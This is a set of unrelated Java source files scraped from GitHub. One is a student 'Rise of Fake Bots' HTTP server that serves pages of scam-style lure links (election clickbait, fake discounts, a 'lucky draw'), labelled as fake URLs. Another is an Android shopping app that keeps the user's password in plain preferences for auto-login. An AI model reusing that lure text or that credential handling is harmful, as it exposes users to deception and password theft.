rand.toString(); return randStr; } // Begin public class RootHandler implements HttpHandler { @Override public void handle(HttpExchange he) throws IOException { String url = "http://www.google.com/"; //System.out.println(fakeURL); File test1 = new File("testPage1.html"); FileWriter filetest1 = null; BufferedWriter bufferedWriter = null; filetest1 = new FileWriter(test1); bufferedWriter = new BufferedWriter(filetest1); String htmlPage = "<!DOCTYPE html><html><head><title>Rise of Fake Bots Linker 1</title></head><body><h1>Linker 1</h1>Click <a href=\"" + url + "\">check this out!</a> Something Intresting is waiting for you.<p></p></body></html>"; bufferedWriter.write(htmlPage); bufferedWriter.flush(); File test2 = new File("testPage2.html"); FileWriter filetest2 = null; filetest2 = new FileWriter(test2); bufferedWriter = new BufferedWriter(filetest2); htmlPage = "<!DOCTYPE html><html><head><title>Rise of Fake Bots Linker 2</title></head><body><h1>Linker 2</h1>Click <a href=\"" + url + "\">check this out!</a> Something More Intresting is waiting for you.<p></p></body></html>"; bufferedWriter.write(htmlPage); bufferedWriter.flush(); File file = new File("mainPage.html"); FileWriter filewriter = null; //BufferedWriter bufferedWriter = null; filewriter = new FileWriter(file); bufferedWriter = new BufferedWriter(filewriter); htmlPage = "<!DOCTYPE html><html><head><title>Rise of Fake Bots Main Page</title></head><body><h1>Rise of Fake Bots</h1>Click <a href=\"testPage1.html\">here</a> here to make this Elections more intresting<p></p>Click <a href=\"testPage2.html\">here</a> here to find out who will win the elections.<p><p></body></html>"; bufferedWriter.write(htmlPage); //String myCommand = "xdg-open mainPage.html"; //Runtime.getRuntime().exec(myCommand); bufferedWriter.flush(); filewriter.flush(); int port = portdec; String response = "<h1>Server start success if you see this message</h1>" + "<h1>Port: " + port + "</h1>"; //response += "Click <a href=\"testPage1.html\">here</a> here to make this Elections more intresting<p></p>"; response += "<a href=\"https://www.w3schools.com/html/\">Visit our HTML tutorial</a><p></p>"; //response += "<a href=\"https://testPage1.html\">Visit our HTML tutorial</a>"; //file:///F:/VS_2015_WorkSpace/Projects/xyz/Intro.html //response += "<a href=\"file:/home/neven1/Desktop/Project/testPage1.html\">Visit our HTML tutorial</a>"; response += "<a href='/page1'>Link 1</a><br/>"; response += "<a href='/page2'>Link 2</a><br/>"; response += "<a href='/page3'>Link 3</a><br/>"; response += "<a href='/page4'>Link 4</a><br/>"; response += "<a href='/page5'>Link 5</a><br/>"; response += "<a href='/page6'>Link 6</a><br/>"; response += "<a href='/page7'>Link 7</a><br/>"; response += "<a href='/page8'>Link 8</a><br/>"; response += "<a href='/page9'>Link 9</a><br/>"; response += "<a href='/page10'>Link 10</a><br/>"; response += "<a href='//" + fakeURL +"'>check this out!</a><br/></html>"; Headers h = he.getResponseHeaders(); h.set("Content-Type","text/html"); he.sendResponseHeaders(200, response.length()); OutputStream os = he.getResponseBody(); os.write(response.getBytes()); os.close(); } } static class PageHandler implements HttpHandler { public String fakeUrl; public int j; public PageHandler(String fakeUrl, int i) { //this.fakeUrl = fakeUrl; fakeUrl = fakeURL; j = i; } @Override public void handle(HttpExchange t) throws IOException { String response; response = "<html style=\"color:Orange;\"> <p align=\"center\"> <font size=\"5\"> Linker Page " + j + "</font><p/><br/>"; response += "<a href='/page1'>Link 1</a><br/>"; response += "<a href='/page2'>Link 2</a><br/>"; //response += "<a href='/page3'>Link 3</a><br/>"; ////response += "<a href='/page4'>Link 4</a><br/>"; //response += "<a href='/page5'>Link 5</a><br/>"; //response += "<a href='/page6'>Link 6</a><br/>"; //response += "<a href='/page7'>Link 7</a><br/>"; ///response += "<a href='/page8'>Link 8</a><br/>"; //response += "<a href='/page9'>Link 9</a><br/>"; //response += "<a href='/page10'>Link 10</a><br/>"; response += "<a href='/'>HomePage</a><br/>"; //response += "<a href=\"https://www.linkedin.com/in/neerajvenugopal\">here</a>"; response += "<a href='//" + fakeURL +"'><p align=\"left\">Check this out!! (Fake URL)</a><br/></html>"; response += "<a href='//" + fakeURL +"'><p align=\"left\">Check this out!! (Fake URL)</a><br/></html>"; response += "<a href='//" + fakeURL +"'><p align=\"left\">Check this out!! (Fake URL)</a><br/></html>"; response += "<a href='//" + fakeURL +"'><p align=\"left\">Check this out!! (Fake URL)</a><br/></html>"; response += "<a href='//" + fakeURL +"'><p align=\"left\">Check this out!! (Fake URL)</a><br/></html>"; response += "<a href='//" + fakeURL +"'><p align=\"left\">Check this out!! (Fake URL)</a><br/></html>"; response += "<a href='//" + fakeURL +"'><p align=\"left\">Who's winning and who's not.. Wanna know ?? click here..<p/></a><br/></html>"; response += "<a href='//" + fakeURL +"'><p align=\"left\">Find out who is winning in the recent elections..(Fake URL)<p/></a><br/></html>"; response += "<a href='//" + fakeURL +"'><p align=\"left\">Happy Thanksgiving, 99% off on our products. Click here..(Fake URL)<p/></a><br/></html>"; response += "<a href='//" + fakeURL +"'><p align=\"left\">You've been chosen by our lucky draw, Click here for more information..(Fake URL)<p/></a><br/></html>"; Headers h = t.getResponseHeaders(); h.set("Content-Type","text/html"); //server.createContext("/page1", new Page1Handler(fakeUrl)); t.sendResponseHeaders(200, response.length()); OutputStream os = t.getResponseBody(); os.write(response.getBytes()); os.close(); } } static class HomePageHandler implements HttpHandler { public String fakeUrl; public HomePageHandler(String fakeUrl) { fakeUrl = fakeURL; } @Override public void handle(HttpExchange t) throws IOException { String response = "<html style=\"color:Tomato;\"> <p align=\"center\"> <font size=\"5\"> Project Part 3 - Rise of Fake Bots </font><p/><br/>"; response += "<p align=\"center\"><img src =\"https://vignette.wikia.nocookie.net/dragonball/images/9/9c/Bazinga%21.jpg/revision/latest?cb=20111213033813\"><p/>"; response += "<a href='/page1'>Link 1</a><br/>"; response += "<a href='/page2'>Link 2</a><br/>"; //response += "<a href='/page3'>Link 3</a><br/>"; //response += "<a href='/page4'>Link 4</a><br/>"; //response += "<a href='/page5'>Link 5</a><br/>"; //response += "<a href='/page6'>Link 6</a><br/>"; //response += "<a href='/page7'>Link 7</a><br/>"; //response += "<a href='/page8'>Link 8</a><br/>"; //response += "<a href='/page9'>Link 9</a><br/>"; //response += "<a href='/page10'>Link 10</a><br/>"; response += "<a href='//" + fakeURL +"'>check this out!!(Fake URL)</a><br/></html>"; response += "<a href='//" + fakeURL +"'>check this out!!(Fake URL)</a><br/></html>"; response += "<a href='//" + fakeURL +"'>check this out!!(Fake URL)</a><br/></html>"; response += "<a href='//" + fakeURL +"'>check this out!!(Fake URL)</a><br/></html>"; response += "<a href='//" + fakeURL +"'>check this out!!(Fake URL)</a><br/></html>"; response += "<a href='//" + fakeURL +"'>check this out!!(Fake URL)</a><br/></html>"; response += "<a href='//" + fakeURL +"'>check this out!!(Fake URL)</a><br/></html>"; response += "<a href='//" + fakeURL +"'>check this out!!(Fake URL)</a><br/></html>"; response += "<a href='//" + fakeURL +"'>check this out!!(Fake URL)</a><br/></html>"; response += "<a href='//" + fakeURL +"'>check this out!!(Fake URL)</a><br/></html>"; response += "<p><p/>"; response += "<a href=\"https://www.linkedin.com/in/neerajvenugopal\"> <p align=\"right\">Feel free to add me to your connections.</font></a><br/>"; Headers h = t.getResponseHeaders(); h.set("Content-Type","text/html"); t.sendResponseHeaders(200, response.length()); OutputStream os = t.getResponseBody(); os.write(response.getBytes()); os.close(); } } public class EchoHeaderHandler implements HttpHandler { @Override public void handle(HttpExchange he) throws IOException { //int port = 9000; Headers headers = he.getRequestHeaders(); Set<Map.Entry<String, List<String>>> entries = headers.entrySet(); String response = ""; for (Map.Entry<String, List<String>> entry : entries) response += entry.toString() + "\n"; he.sendResponseHeaders(200, response.length()); OutputStream os = he.getResponseBody(); os.write(response.toString().getBytes()); os.close(); }} public class EchoGetHandler implements HttpHandler { @Override public void handle(HttpExchange he) throws IOException { //int port = 9000; // parse request Map<String, Object> parameters = new HashMap<String, Object>(); URI requestedUri = he.getRequestURI(); String query = requestedUri.getRawQuery(); parseQuery(query, parameters); // send response String response = ""; for (String key : parameters.keySet()) response += key + " = " + parameters.get(key) + "\n"; he.sendResponseHeaders(200, response.length()); OutputStream os = he.getResponseBody(); os.write(response.toString().getBytes()); os.close(); } } public class EchoPostHandler implements HttpHandler { @Override public void handle(HttpExchange he) throws IOException { // parse request //int port = 9000; Map<String, Object> parameters = new HashMap<String, Object>(); InputStreamReader isr = new InputStreamReader(he.getRequestBody(), "utf-8"); BufferedReader br = new BufferedReader(isr); String query = br.readLine(); parseQuery(query, parameters); // send response String response = ""; for (String key : parameters.keySet()) response += key + " = " + parameters.get(key) + "\n"; he.sendResponseHeaders(200, response.length()); OutputStream os = he.getResponseBody(); os.write(response.toString().getBytes()); os.close(); } } public static void parseQuery(String query, Map<String, Object> parameters) throws UnsupportedEncodingException { if (query != null) { String pairs[] = query.split("[&]"); for (String pair : pairs) { String param[] = pair.split("[=]"); String key = null; String value = null; if (param.length > 0) { key = URLDecoder.decode(param[0], System.getProperty("file.encoding")); } if (param.length > 1) { value = URLDecoder.decode(param[1], System.getProperty("file.encoding")); } if (parameters.containsKey(key)) { Object obj = parameters.get(key); if (obj instanceof List<?>) { List<String> values = (List<String>) obj; values.add(value); } else if (obj instanceof String) { List<String> values = new ArrayList<String>(); values.add((String) obj); values.add(value); parameters.put(key, values); } } else { parameters.put(key, value); } } } } // End }
[ "32290695+Neeraj-Venugopal@users.noreply.github.com" ]
32290695+Neeraj-Venugopal@users.noreply.github.com
eee815a83beb11f5a917f46ef448201935da2743
b1d49cdec0e928b509944cd1283eb049d58871f3
/src/main/java/duke/commands/HelpCommand.java
bc0ca627e3a423b914a3ff89b5b29b1d268005b3
[]
no_license
Xiaoyunnn/ip
edcd30fc6b07ab8de29ed4fd875fe58e59bd5046
afd81cc3af3479b653e937e41a3b56a2ed481f2c
refs/heads/master
2023-08-23T00:57:47.959926
2021-10-02T04:28:35
2021-10-02T04:28:35
395,906,534
0
0
null
2021-09-05T09:28:27
2021-08-14T05:53:16
Java
UTF-8
Java
false
false
1,297
java
package duke.commands; import duke.Storage; import duke.TaskList; import duke.Ui; /** * Prints the available commands and guides. */ public class HelpCommand extends Command { /** * The command word that identifies a HelpCommand instance. */ public static final String COMMAND_WORD = "help"; /** * Guide on how to use this command word. */ public static final String MESSAGE_USAGE = COMMAND_WORD + " - display the list of available commands"; @Override public boolean isExit() { return false; } @Override public String execute(TaskList tasks, Ui ui, Storage storage) { return "Available commands:\n๐Ÿ‘‰" + TodoCommand.MESSAGE_USAGE + "\n๐Ÿ‘‰" + DeadlineCommand.MESSAGE_USAGE + "\n๐Ÿ‘‰" + EventCommand.MESSAGE_USAGE + "\n๐Ÿ‘‰" + DoneCommand.MESSAGE_USAGE + "\n๐Ÿ‘‰" + DeleteCommand.MESSAGE_USAGE + "\n๐Ÿ‘‰" + FindCommand.MESSAGE_USAGE + "\n๐Ÿ‘‰" + ScheduleCommand.MESSAGE_USAGE + "\n๐Ÿ‘‰" + ListCommand.MESSAGE_USAGE + "\n๐Ÿ‘‰" + SortCommand.MESSAGE_USAGE + "\n๐Ÿ‘‰" + HelpCommand.MESSAGE_USAGE + "\n๐Ÿ‘‰" + ExitCommand.MESSAGE_USAGE; } }
[ "xiaoyun.wu00@gmail.com" ]
xiaoyun.wu00@gmail.com
fed6cdbee91f9ff31d16de1364df925fbb764e0d
03a90671e0caea2937d1a7da398666eace247e9e
/app/src/main/java/com/lcu/cs/demodailyapplication/com/lcu/cs/car/Car.java
f03aa20bad966e231c04286413b4a0c1b9b1b847
[]
no_license
FeilongZhao/demoDailyApplication
4f8e123af2dbf53f248d6b14e73eb9f47ca099f9
ef80ee95de4841843e8fca57c23853fe73657ee6
refs/heads/master
2021-01-01T06:40:13.945569
2017-07-17T13:27:52
2017-07-17T13:27:52
97,478,870
2
0
null
null
null
null
UTF-8
Java
false
false
392
java
package com.lcu.cs.demodailyapplication.com.lcu.cs.car; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import com.lcu.cs.demodailyapplication.R; public class Car extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_car); } }
[ "1244152631@qq.com" ]
1244152631@qq.com
5fa581c600ff79a197a6da5c96c2430fd3e77a4c
bf76e622388b703fd28a0db43f446562adfcf153
/src/matej/Instance.java
7074095ef876e64fb396fc405cfc4a28cd550b57
[]
no_license
neuroph12/GVGAI
cdcc9d6dbc94ebbe7ab89136d82deac585642a1a
9456463b645289f625531258eb144b6dbdf2bca3
refs/heads/master
2020-09-27T06:31:00.227045
2016-09-11T14:19:51
2016-09-11T14:19:51
null
0
0
null
null
null
null
UTF-8
Java
false
false
2,795
java
package matej; import static ontology.Types.ACTIONS.*; import java.util.*; import core.game.StateObservation; import ontology.Types; public class Instance { public static final String TRUE = "Y", FALSE = "N"; public HashMap<String, Feature> features; public String output; public Instance(StateObservation so) { ArrayList<Types.ACTIONS> actions = so.getAvailableActions(); features = new HashMap<String, Feature>(ClassificationHandler.FEATURE_NAMES.length); // is USE available features.put("Use", new BoolFeature("Use", actions.contains(ACTION_USE))); // are UP/DOWN available features.put("UpDown", new BoolFeature("UpDown", actions.contains(ACTION_UP))); // are LEFT/RIGHT available features.put("LeftRight", new BoolFeature("LeftRight", actions.contains(ACTION_LEFT))); // initial and max HP (normalized for NN) features.put("InitHP", new DoubleFeature("InitHP", (double) so.getAvatarHealthPoints() / (double) so.getAvatarLimitHealthPoints())); features.put("MaxHP", new DoubleFeature("MaxHP", so.getAvatarLimitHealthPoints() / 1000.0)); // speed, orientation (already normalized) features.put("Speed", new DoubleFeature("Speed", so.getAvatarSpeed())); features.put("OrientationX", new DoubleFeature("OrientationX", so.getAvatarOrientation().x)); features.put("OrientationY", new DoubleFeature("OrientationY", so.getAvatarOrientation().y)); // TODO: Here there should be extra features from Nejc's classifier List<String> nejcFeatures = Arrays.asList(ClassificationHandler.FEATURE_NAMES); for (String s : nejcFeatures.subList(nejcFeatures.size() - 9, nejcFeatures.size())) features.put(s, new BoolFeature(s, false)); output = null; } public Instance(String[] names, String[] values) { if (names.length != values.length) throw new org.neuroph.core.exceptions.VectorSizeMismatchException("Sizes of feature names and feature values do not match."); features = new HashMap<String, Feature>(values.length); if (values.length <= 1) { output = values.length == 1 ? values[0] : null; return; } for (int i = 0; i < values.length - 1; i++) { if (values[i].equals(TRUE) || values[i].equals(FALSE)) features.put(names[i], new BoolFeature(names[i], values[i].equals(TRUE))); else features.put(names[i], new DoubleFeature(names[i], Double.valueOf(values[i]))); } output = values[values.length - 1]; } public String toCSV(String[] featureNameOrder, String delimiter) { StringBuilder sb = new StringBuilder(); for (String feature : featureNameOrder) { if (features.get(feature) instanceof BoolFeature) sb.append((boolean) features.get(feature).value ? TRUE : FALSE); else sb.append((double) features.get(feature).value); sb.append(delimiter); } sb.append(output); return sb.toString(); } }
[ "matej.vitek@hotmail.com" ]
matej.vitek@hotmail.com
f02d8de598a5c251e2262d43b7fb03e92cf65c4b
fab3b412adc40a7ee4c400ecb1946d0289a974b0
/app/src/main/java/ponny/com/prueba/modelo/App.java
d50ea6ae1d7004e1401aedd2f77bb4d63894822d
[]
no_license
ALAxHxC/JsonRedditAndroid
ded0cc50adf8ac61954ad924a0b040fc40ae82ea
b7c0bd065f2c972702a34db91699e58bdc1c7c8f
refs/heads/master
2021-04-26T11:46:32.394160
2016-09-23T06:10:08
2016-09-23T06:10:08
68,994,424
0
0
null
null
null
null
UTF-8
Java
false
false
2,294
java
package ponny.com.prueba.modelo; /** * Created by Daniel on 20/09/2016. */ public class App { /** * title **/ private String titulo; /** * id **/ private String id; /** * submit_text */ private String submit_text; /** * icon_img **/ private String urlImg; /** * header_title **/ private String resumen; /** * subscribers */ private String seguidores; /** * description */ private String descripccion; /** * display_name **/ private String categoria; /**public_description**/ private String publicd_description; /*subreddit_type*/ private String tipo; public String getPublicd_description() { return publicd_description; } public void setPublicd_description(String publicd_description) { this.publicd_description = publicd_description; } public String getTitulo() { return titulo; } public void setTitulo(String titulo) { this.titulo = titulo; } public String getId() { return id; } public void setId(String id) { this.id = id; } public String getSubmit_text() { return submit_text; } public void setSubmit_text(String submit_text) { this.submit_text = submit_text; } public String getUrlImg() { return urlImg; } public void setUrlImg(String urlImg) { this.urlImg = urlImg; } public String getResumen() { return resumen; } public void setResumen(String resumen) { this.resumen = resumen; } public String getSeguidores() { return seguidores; } public void setSeguidores(String seguidores) { this.seguidores = seguidores; } public String getDescripccion() { return descripccion; } public void setDescripccion(String descripccion) { this.descripccion = descripccion; } public String getCategoria() { return categoria; } public void setCategoria(String categoria) { this.categoria = categoria; } public String getTipo() { return tipo; } public void setTipo(String tipo) { this.tipo = tipo; } }
[ "jenizaro123" ]
jenizaro123
0e74e297f0216d31dee798837a6e6648899bc55c
6d0bad889ab010f1e6c33c01c525cb35bc63eee1
/app/src/test/java/hr/math/anatravica/ExampleUnitTest.java
ec0ccf437746cf371517514e3b9ebdb56899e5ad
[]
no_license
pericana/AnaTravica
ed6e9b5b23e260f07a32c1f335cd21438659f720
91b3832feb518c383d0ffac34638118e917b4756
refs/heads/master
2021-05-09T14:43:30.629932
2018-01-26T18:02:03
2018-01-26T18:02:03
119,072,075
0
0
null
null
null
null
UTF-8
Java
false
false
396
java
package hr.math.anatravica; import org.junit.Test; import static org.junit.Assert.*; /** * Example local unit test, which will execute on the development machine (host). * * @see <a href="http://d.android.com/tools/testing">Testing documentation</a> */ public class ExampleUnitTest { @Test public void addition_isCorrect() throws Exception { assertEquals(4, 2 + 2); } }
[ "ana@a.com" ]
ana@a.com
150540424b60f63880a8bc6ba81df65d375988f7
c7500f2ce4ef0e2f8a694961fce8a90791eff4db
/app/src/main/java/com/example/acer_pc/googleplay/fragment/GameFragment.java
b2e0d1ef862a59661fc50287dea840a773ac78ef
[ "Apache-2.0" ]
permissive
whz302010/GooglePlay
61d05df75275fa13061cf97fa3e13453704e8fb7
459e0ee83063ec92bdd5ab911fdb65661a776db6
refs/heads/master
2021-01-23T11:20:03.148994
2017-06-02T13:26:02
2017-06-02T13:26:02
93,126,879
0
0
null
null
null
null
UTF-8
Java
false
false
398
java
package com.example.acer_pc.googleplay.fragment; import android.view.View; import com.example.acer_pc.googleplay.view.LoadingPage; /** * Created by acer-pc on 2017/6/2. */ public class GameFragment extends BaseFragment { @Override public View onCreateSuccessView() { return null; } @Override public LoadingPage.ResultState onLoad() { return null; } }
[ "898430656@qq.com" ]
898430656@qq.com
81f06a48d15ace050dd1281cdb30794d0797be76
6e1928e99d522e2f8bb487bae0b7865c870c6132
/app/src/main/java/com/ings/gogo/activity/MainPageActivity.java
f2e77f2b3a623012201fedc9086ba8991cf56e60
[]
no_license
lijiangyato/Qiafanlou2
d76dca5418a61e5338e25e7bd67e6d238fef85be
ed97a58908ce557c3fb6f9e54189ace53ebd38c2
refs/heads/master
2021-05-08T04:30:43.536270
2017-10-27T04:20:00
2017-10-27T04:20:00
108,411,234
0
0
null
null
null
null
UTF-8
Java
false
false
12,963
java
package com.ings.gogo.activity; import java.io.IOException; import java.util.ArrayList; import java.util.List; import android.annotation.SuppressLint; import android.app.Activity; import android.app.LocalActivityManager; import android.content.Context; import android.content.Intent; import android.content.SharedPreferences; import android.content.SharedPreferences.Editor; import android.graphics.BitmapFactory; import android.graphics.Matrix; import android.os.Bundle; import android.os.Handler; import android.os.Message; import android.os.Parcelable; import android.support.v4.view.PagerAdapter; import android.support.v4.view.ViewPager; import android.support.v4.view.ViewPager.OnPageChangeListener; import android.util.DisplayMetrics; import android.view.View; import android.view.View.OnClickListener; import android.view.ViewGroup; import android.view.Window; import android.view.animation.Animation; import android.view.animation.TranslateAnimation; import android.widget.ImageView; import android.widget.RelativeLayout; import com.ings.gogo.R; import com.ings.gogo.activity.ui.BaseActivity; import com.ings.gogo.application.UILApplication; import com.ings.gogo.base.BaseData; import com.ings.gogo.interfacep.OnTabActivityResultListener; import com.ings.gogo.utils.LogUtils; import com.ings.gogo.view.NoScrollViewPager; import com.squareup.okhttp.FormEncodingBuilder; import com.squareup.okhttp.OkHttpClient; import com.squareup.okhttp.Request; import com.squareup.okhttp.RequestBody; import com.squareup.okhttp.Response; public class MainPageActivity extends BaseActivity implements OnClickListener { // ๆ˜ฏๅฆ่Žทๅ–cookie็š„ๆ ‡่ฏ† private final int GET_COOKIE_OK = 1; private Context context = null; @SuppressWarnings("deprecation") private LocalActivityManager manager = null; private NoScrollViewPager pager = null; // ไธ‰ไธชไธป็•Œ้ข RelativeLayout private RelativeLayout t1, t2, t3; private int offset = 0;// ๅŠจ็”ปๅ›พ็‰‡ๅ็งป้‡ private int currIndex = 0;// ๅฝ“ๅ‰้กตๅก็ผ–ๅท private int bmpW;// ๅŠจ็”ปๅ›พ็‰‡ๅฎฝๅบฆ private ImageView cursor;// ๅŠจ็”ปๅ›พ็‰‡ private String tem1; private String tem2; private String jiequ; private String jiequ2; public String aspnetauth; public String ASP_NET_SessionId; private UILApplication myApplication; private String username; private String password; private ArrayList<View> list = null; public static SharedPreferences preferences = null; public static SharedPreferences.Editor editor = null; @SuppressWarnings("deprecation") @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); this.requestWindowFeature(Window.FEATURE_NO_TITLE); setContentView(R.layout.layout_mainpage); myApplication = (UILApplication) getApplication(); context = MainPageActivity.this; manager = new LocalActivityManager(this, true); manager.dispatchCreate(savedInstanceState); preferences = getSharedPreferences("userInfo", Activity.MODE_PRIVATE); editor = preferences.edit();// ่Žทๅ–็ผ–่พ‘ๅ™จ initViews(); InitImageView(); initPagerViewer(); } private void initViews() { t1 = (RelativeLayout) findViewById(R.id.mMainPageRe); t2 = (RelativeLayout) findViewById(R.id.mShopCarRe); t3 = (RelativeLayout) findViewById(R.id.mPersonalRe); t1.setOnClickListener(new MyOnClickListener(0)); t2.setOnClickListener(new MyOnClickListener(1)); t3.setOnClickListener(new MyOnClickListener(2)); } public MainPageActivity(SharedPreferences preferences, Editor editor) { super(); this.preferences = preferences; this.editor = editor; } public MainPageActivity() { super(); // TODO Auto-generated constructor stub } public void clearData() { editor.clear(); editor.commit(); } @SuppressWarnings("deprecation") @Override protected void onResume() { super.onResume(); LogUtils.e("onResume", "ไธป็•Œ้ขไธญ็š„onResume"); manager.dispatchResume(); if (pager != null) { switch (pager.getCurrentItem()) { case 0: Activity person_activity = manager .getActivity(" PersonalActivity"); if (person_activity != null && person_activity instanceof PersonalActivity) { ((PersonalActivity) person_activity).invisibleOnScreen(); } Activity other_activity = manager .getActivity("OtherMainPageActivity"); if (other_activity != null && other_activity instanceof OtherMainPageActivity) { ((OtherMainPageActivity) other_activity) .invisibleOnScreen(); ((OtherMainPageActivity) other_activity).goneOnScreen(); } Activity shopCar_activity = manager .getActivity("ShopCarActivity"); if (shopCar_activity != null && shopCar_activity instanceof ShopCarActivity) { ((ShopCarActivity) shopCar_activity).invisibleOnScreen(); ((ShopCarActivity) shopCar_activity).goneOnScreen(); } break; default: break; } } } /** * ๅˆๅง‹ๅŒ–PageViewer */ @SuppressWarnings("deprecation") private void initPagerViewer() { pager = (NoScrollViewPager) findViewById(R.id.viewpage); pager.setOffscreenPageLimit(0); list = new ArrayList<View>(); Intent intent = new Intent(context, OtherMainPageActivity.class); list.add(getView("OtherMainPageActivity", intent)); username = preferences.getString("username", ""); password = preferences.getString("password", ""); // ๅฆ‚ๆžœไธๆ˜ฏ็ฌฌไธ€ๆฌก็™ป้™† myApplication.setTelNum(username); if (username != null && password != null && !"".equals(username) && !"".equals(password)) { new Thread(new Runnable() { @Override public void run() { // TODO Auto-generated method stub login(username, password); } }).start(); // LoginActivity activity = new LoginActivity(); // activity.login(username, password); } else { Intent intent2 = new Intent(context, ShopCarActivity.class); intent2.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); list.add(getView("ShopCarActivity", intent2)); Intent intent4 = new Intent(context, LoginActivity.class); list.add(getView("LoginActivity", intent4)); } pager.setAdapter(new MyPagerAdapter(list)); pager.setCurrentItem(0); pager.setOnPageChangeListener(new MyOnPageChangeListener()); } /** * ่‡ชๅทฑๅ†™็š„onActivityResultๆ–นๆณ• */ @Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { @SuppressWarnings("deprecation") OtherMainPageActivity activity_t3 = (OtherMainPageActivity) manager .getActivity("OtherMainPageActivity"); if (activity_t3 instanceof OnTabActivityResultListener) { // ่Žทๅ–่ฟ”ๅ›žๅ€ผๆŽฅๅฃๅฎžไพ‹ OnTabActivityResultListener listener = (OnTabActivityResultListener) activity_t3; // ่ฝฌๅ‘่ฏทๆฑ‚ๅˆฐๅญActivity activity_t3.onTabActivityResult(requestCode, resultCode, data); } } /** * ่‡ชๅŠจ็™ปๅฝ• */ private void login(String username, String password) { // TODO Auto-generated method stub OkHttpClient okHttpClient = new OkHttpClient(); RequestBody requestBody = new FormEncodingBuilder() .add("phone", username.trim()).add("loginkey", password.trim()) .build(); Request request = new Request.Builder().url(BaseData.LOGIN_URL) .post(requestBody).build(); Response response = null; try { response = okHttpClient.newCall(request).execute(); if (response.isSuccessful()) { String loginBody = response.body().string(); LogUtils.e("่‡ชๅŠจ็™ปๅฝ• -ใ€‹ใ€‹ttit811 ", loginBody); String loginhead = response.headers().toString(); // LogUtils.e("่‡ชๅŠจ็™ปๅฝ•--ใ€‹ใ€‹ ่ฏทๆฑ‚ๅคด", loginhead); tem1 = response.headers().value(3).toString();// asp.net tem2 = response.headers().value(6).toString();// aspnetauth jiequ = tem1.substring(tem1.indexOf("ASP.NET_SessionId="), tem1.indexOf("; path=/;")); ASP_NET_SessionId = jiequ; jiequ2 = tem2.substring(tem2.indexOf("aspnetauth="), tem2.indexOf("; path=/;")); aspnetauth = jiequ2; myApplication.setASP_NET_SessionId(ASP_NET_SessionId); myApplication.setAspnetauth(aspnetauth); LogUtils.e("ASP_NET_SessionId--ใ€‹ใ€‹", ASP_NET_SessionId); LogUtils.e("aspnetauth--ใ€‹ใ€‹", aspnetauth); Message msg = handler.obtainMessage(GET_COOKIE_OK); msg.sendToTarget(); } } catch (IOException e) { e.printStackTrace(); } catch (Exception e) { // TODO Auto-generated catch block e.printStackTrace(); } } @SuppressLint("HandlerLeak") Handler handler = new Handler() { @SuppressWarnings("deprecation") public void handleMessage(Message msg) { switch (msg.what) { case GET_COOKIE_OK: Intent intent2 = new Intent(context, ShopCarActivity.class); intent2.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); list.add(getView("ShopCarActivity", intent2)); Intent intent3 = new Intent(context, PersonalActivity.class); Bundle bundle = new Bundle(); bundle.putString("telNum", username.toString()); intent3.putExtras(bundle); list.add(getView("PersonalActivity", intent3)); pager.setAdapter(new MyPagerAdapter(list)); pager.setCurrentItem(0); pager.setOnPageChangeListener(new MyOnPageChangeListener()); break; default: break; } }; }; @Override public void onClick(View v) { // TODO Auto-generated method stub switch (v.getId()) { case R.id.mMainPageRe: Intent intent2Main = new Intent(context, OtherMainPageActivity.class); startActivity(intent2Main); break; case R.id.mShopCarRe: Intent intent2Car = new Intent(context, ShopCarActivity.class); startActivity(intent2Car); break; case R.id.mPersonalRe: Intent intent2Person = new Intent(context, PersonalActivity.class); startActivity(intent2Person); break; default: break; } }; /** * ๅˆๅง‹ๅŒ–ๅŠจ็”ป */ private void InitImageView() { cursor = (ImageView) findViewById(R.id.cursor1); bmpW = BitmapFactory.decodeResource(getResources(), R.drawable.roller) .getWidth();// ่Žทๅ–ๅ›พ็‰‡ๅฎฝๅบฆ DisplayMetrics dm = new DisplayMetrics(); getWindowManager().getDefaultDisplay().getMetrics(dm); int screenW = dm.widthPixels;// ่Žทๅ–ๅˆ†่พจ็އๅฎฝๅบฆ offset = (screenW / 3 - bmpW) / 2;// ่ฎก็ฎ—ๅ็งป้‡ Matrix matrix = new Matrix(); matrix.postTranslate(offset, 0); cursor.setImageMatrix(matrix);// ่ฎพ็ฝฎๅŠจ็”ปๅˆๅง‹ไฝ็ฝฎ } /** * ้€š่ฟ‡activity่Žทๅ–่ง†ๅ›พ * * @param id * @param intent * @return */ @SuppressWarnings("deprecation") private View getView(String id, Intent intent) { return manager.startActivity(id, intent).getDecorView(); } /** * Pager้€‚้…ๅ™จ */ public class MyPagerAdapter extends PagerAdapter { List<View> list = new ArrayList<View>(); public MyPagerAdapter(ArrayList<View> list) { this.list = list; } @Override public void destroyItem(ViewGroup container, int position, Object object) { ViewPager pViewPager = ((ViewPager) container); pViewPager.removeView(list.get(position)); } @Override public boolean isViewFromObject(View arg0, Object arg1) { return arg0 == arg1; } @Override public int getCount() { return list.size(); } @Override public Object instantiateItem(View arg0, int arg1) { ViewPager pViewPager = ((ViewPager) arg0); pViewPager.addView(list.get(arg1)); return list.get(arg1); } @Override public void restoreState(Parcelable arg0, ClassLoader arg1) { } @Override public Parcelable saveState() { return null; } @Override public void startUpdate(View arg0) { } } /** * ้กตๅกๅˆ‡ๆข็›‘ๅฌ */ public class MyOnPageChangeListener implements OnPageChangeListener { int one = offset * 2 + bmpW;// ้กตๅก1 -> ้กตๅก2 ๅ็งป้‡ int two = one * 2;// ้กตๅก1 -> ้กตๅก3 ๅ็งป้‡ @Override public void onPageSelected(int arg0) { Animation animation = null; switch (arg0) { case 0: if (currIndex == 1) { animation = new TranslateAnimation(one, 0, 0, 0); } else if (currIndex == 2) { animation = new TranslateAnimation(two, 0, 0, 0); } break; case 1: if (currIndex == 0) { animation = new TranslateAnimation(offset, one, 0, 0); } else if (currIndex == 2) { animation = new TranslateAnimation(two, one, 0, 0); } break; case 2: if (currIndex == 0) { animation = new TranslateAnimation(offset, two, 0, 0); } else if (currIndex == 1) { animation = new TranslateAnimation(one, two, 0, 0); } break; } currIndex = arg0; animation.setFillAfter(true);// True:ๅ›พ็‰‡ๅœๅœจๅŠจ็”ป็ป“ๆŸไฝ็ฝฎ animation.setDuration(300); cursor.startAnimation(animation); } @Override public void 